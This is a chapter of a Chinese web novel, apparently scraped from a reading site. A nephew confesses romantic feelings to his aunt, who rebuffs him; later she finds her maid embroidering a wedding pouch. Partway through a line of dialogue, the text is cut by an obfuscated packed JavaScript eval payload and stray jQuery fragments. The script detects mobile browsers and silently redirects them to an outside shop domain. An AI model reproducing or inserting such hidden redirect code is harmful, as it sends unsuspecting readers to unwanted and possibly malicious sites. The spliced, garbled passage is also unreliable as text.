57. 情意浓

作品:《不见当年河山

    后来魏巘有心不再去说这个话题,南长宁也不好主动去问,若是追问惹来魏巘打量的目光便不好了。


    可南长宁心里一直还想着这些事,后来再说什么总有点心不在焉。


    正当南长宁低着头把弄扇子走神,魏巘突然凑近了她。


    身边忽然多了个人,吓得南长宁惊呼一声身子微微后仰,魏巘眼疾手快地托住了她的腰。


    南长宁感受到那只强有力的手撑着自己,连忙坐好,又往后退了几步。


    “你怎么......挨着我来坐了,吓我一跳。”南长宁看着对面的空位扇扇子,神色有些不自然。


    “刚才你一直不回我话。”魏巘看着南长宁的侧脸,有些委屈地说道。


    南长宁快速瞥了魏巘一眼,说道:“那你可以再叫我几声啊......”


    “抱歉,我吓到你了。”魏巘说道。


    南长宁被这突如其来的道歉打断了思绪,明明是自己刚才没听到魏巘讲话,是自己的问题才对。


    “我的问题......那你刚才说什么了?”南长宁看向他,问道。


    魏巘抬起头,对上南长宁有些笑意的眼睛,开口道:“就是觉得,认识你真好。”


    魏巘忽然来了这么莫名其妙的一句话,南长宁有些摸不着头脑,笑意更深,道:“我也是啊。”


    “就这个啊?”南长宁觉得好玩,“没别的了?”


    “还有......”


    “什么?”


    “我有时候并没有把你当作长辈,我觉得我们很有共同语言,我们......”


    “咱们差不了几岁,我也没带着长辈的威严感吧?”


    说完,南长宁便收起笑容,佯装生气显出训人的样子,声音带上了点怒意:“魏巘!今日你读书了没!”


    说完这句话,两人都笑起来了。


    魏巘连忙道:“那我可不可以求你一件事啊?”


    南长宁笑道:“你说。”


    答应后她又有些后悔,有些难过道:“哎,可我觉得我也没什么能帮你的啊?”


    “这件事,只有你能。”魏巘看着她坚定的说道。


    南长宁笑起来,“还有非我莫属的事?你说来听听。”


    魏巘看着南长宁笑眯眯的模样,他好希望她能一直这样笑着看着自己。


    可当他说完那个请求后,南长宁眼中的笑意一点点淡了下去。


    “可不可以不要和赵丞相在一起。”


    两人之间忽然陷入了死一般的沉寂。


    南长宁不敢相信自己的耳朵,更不敢相信魏巘的嘴。


    他为什么要说这句话,为什么要让自己这么做?


    南长宁有些发懵地看着魏巘的侧脸,而他早就撇开了自己的脸,南长宁看不到他的眼。


    “你知道你在说什么吗?”南长宁震惊道,“魏巘你......你为什么忽然要提这件事?”


    刚才两人短暂的触碰后南长宁花了会功夫才缓过来,气氛也好了些。


    可这会魏巘又提起这件事,南长宁脑子一下子转不过来了,不知道说什么好。


    自己的婚事,和他又有什么关系呢?


    “我不想让你嫁人。”魏巘鼓足勇气说道,“能不能别离开......魏宫。”


    他让自己不要离开魏宫。


    可南长宁明明听到他好像更想说一个“我”字,是不是硬憋了回去?


    “你今天怎么了?”南长宁急着起身,魏巘却突然拽住了她的胳膊,南长宁愣了一下随后有些生气地看着他。


    “松手!”南长宁不想再维持好脾气,说话的声音都重了些。


    “我......”


    “我是你姑母。”南长宁冷冷说道,“魏巘,别忘了规矩。”


    终于,魏巘松开了手,随后起身又坐会到了对面。


    两人维持了安全距离,南长宁喝了口茶平复着自己的心跳,魏巘低着头一言不发,像极了做错事被训斥的孩子。


    “你今日到底怎么了?忽然说这事做什么?”南长宁叹了口气,问道。


    “我没事,我只想知道,你能不能不要嫁给他。”魏巘说道。


    南长宁被他气笑了,说道:“这件事已经板上钉钉了,况且,这对我来说也是一个好归宿,我为什么不嫁?”


    “你可以一直在魏宫!我们也可以......”魏巘情绪有些激动。


    南长宁打断他道:“我嫁给赵丞相后,我们之间并不会改变什么。”


    魏巘不说话了。


    南长宁开口道:“我说的不对吗?我们永远都是姑侄关系,这件事没办法改变啊。”


    南长宁特意在“姑侄”两个字上加了重音,便是为了让魏巘不要再生出别的心思。


    虽说魏巘从未明示过,但南长宁总怕他误入歧途,她只希望是自己多想了,是自己想到这罔顾伦理的心思。


    魏巘只是和她关系好、有些依赖她仅此而已吧。


    南长宁这样说服自己。


    “我们的关系,真的没办法改变吗?”魏巘问道,“我不想是姑侄关系。”


    此话一出,南长宁扇扇子的手也僵住了,魏巘直接明示了。


    南长宁瞬间大脑充血,心跳剧烈,两人就这么盯着对方的眼。


    良久,南长宁才开口道:“你疯了。”


    她的声音打着颤,两只手不知道什么时候也缠在了一起。


    “魏巘。”南长宁重重地叫了他一声,“你记住,我是你姑母,魏长安。”


    在魏巘坐回去的那个时候,南长宁本以为两个人还能继续聊下去。


    可现在看,是不太能了。


    南长宁知道,魏巘对她的感情已经变质了。


    那是从什么时候开始的?南长宁不知道,也不敢去问。


    她站起身时,魏巘也站了起来,开口想要叫她。


    “魏巘,我有些累了,想回去歇会。你也......好好歇歇吧。”


    南长宁抬起眼皮看了他一眼,魏巘伸出胳膊想要去拉她,南长宁身子一侧,躲开了。


    她看着魏巘,笑了笑,说道:“不过是喝喝茶说说话,怎么脑子还糊涂起来了?”


    “嗯?”


    “别开这种玩笑了,若是压力大就约着朋友兄弟出去玩玩......这种玩笑,让别人听去不好。”


    南长宁在给刚才的事打圆场,魏巘呆了会,也反应过来,笑了。


    “是......我今日冒犯了,抱歉。”


    南长宁知道这并非他的真心话,但现在两人只当刚才是玩笑的闹剧欺骗自己。


    魏巘叫来了刘啸鼎,让他好生送南长宁回去。


    刘啸鼎再次察觉出两人之间微妙的气氛,也没有再嬉皮笑脸,便应下了。


    南长宁没告诉魏巘,她和赵恒遗的婚事定下了。


    就在七月初二。


    刘啸鼎本想亲自送南长宁回去,南长宁肯定是不愿意的。


    “我随便转转去,你不用管我了。”南长宁说道。


    刘啸鼎为难了,“属下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634659|180367||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不好交差啊......”


    “你便说是我让的,若是受了罚来找我,我到时候给你讨公道去!”南长宁声音愉悦,边摆手边往外走了。


    刘啸鼎对于南长宁的吩咐从不争执强求,便应下了。


    南长宁扇着扇子漫无目的地转悠着,她对城中心并不是很熟悉,离开魏宫前也只是去过几次集市,现在回来不知道变样了没有?


    想到集市便又能联想到一串的事......


    说书人、平南大将军府以及陈再杭。


    现在的南长宁一想到陈再杭便觉得身上冷飕飕的。


    烈日照人,南长宁却打了个寒战,她搓了搓自己的双臂,四处张望了一下,没看到什么熟悉可疑的人。


    南长宁继续往前走,路过了平南大将军府、茶楼......一路上南长宁耳边充斥着叫卖声、嬉笑声,可她心里只想着刚才的事,心不在焉地回到了秋水堂。


    一进门,她便抱怨道:“这天晒得我头疼。”


    渡儿惊呼一声,道:“殿下这是被晒得!快回屋歇歇,我去拿凉帕子。”


    南长宁的脸被太阳晒得通红,额上冒着细细的汗珠,等照了镜子她才明白自己怎么头这么晕。


    玉兰不知道去忙些什么了,渡儿端来晾好的茶和凉帕子给南长宁解暑,一边给南长宁更衣一边道:“还比不得北定宫,连冰都没有......”


    “难得见你抱怨。”南长宁笑起来,“不过现在用冰我总觉得没太大必要。”


    渡儿道:“奴婢心疼您热着了。若是在北定宫,殿下想什么时候用就什么时候用了。”


    南长宁笑笑,道:“北定宫可是回不去了,不如在这里安心过日子。”


    闻言,渡儿轻叹一声,道:“殿下说的是。”


    南长宁还是没能打听到魏峋的消息,面对渡儿心里总是带着歉意。


    再加上眼前她与赵恒遗婚事在即,手上又多出难以理清的消息,表情也不自觉忧伤起来。


    渡儿并没有直言提过此事,只是这是南长宁答应过她的,更何况,在北定宫那三年,魏峋帮了她不少忙,南长宁总要找到他表达谢意才对。


    南长宁没什么胃口,喝了点汤便歇下了。


    今天晒了一天,南长宁躺下便睡着了,结果到了半夜口渴醒了,她也不知道是谁守着,便自己下床打算去喝口水。


    门半敞着,一个人席地而坐,前面还点了一盏油灯,低着头不知道在忙些什么。


    南长宁眼神不好,没敢认是谁,又不敢开口,正思考着怎么才能不吓到这人,那人动了动,玉兰边打哈欠边转身,看到南长宁站在那儿,还是吓了一跳,随后笑道:“公主怎么起来了?”


    南长宁也惊了一下,笑着走过去,道:“有些口渴,起来喝点水。”


    玉兰站起来,就要扶她回去,说道:“我去给您端就好了......”


    南长宁不走,笑着问道:“你这是做什么呢?”


    玉兰脸上闪过一丝不自然,遮掩道:“没什么,做点东西打发时间罢了,公主快回去睡吧。”


    南长宁佯装失望道:“那好吧。不过也太晚了,你也早点休息吧,要不然就把油灯都点上,你这样对眼睛不好。”


    玉兰笑道:“我一会也睡了,公主快回去吧,我去给你端水。”


    南长宁点点头,看着玉兰出了门,没有再往前走。


    隔着不远的一段距离,烛光微晃,南长宁看到竹篮子里暗红色的线团,一旁的荷包上便是还没有绣完的“囍”字。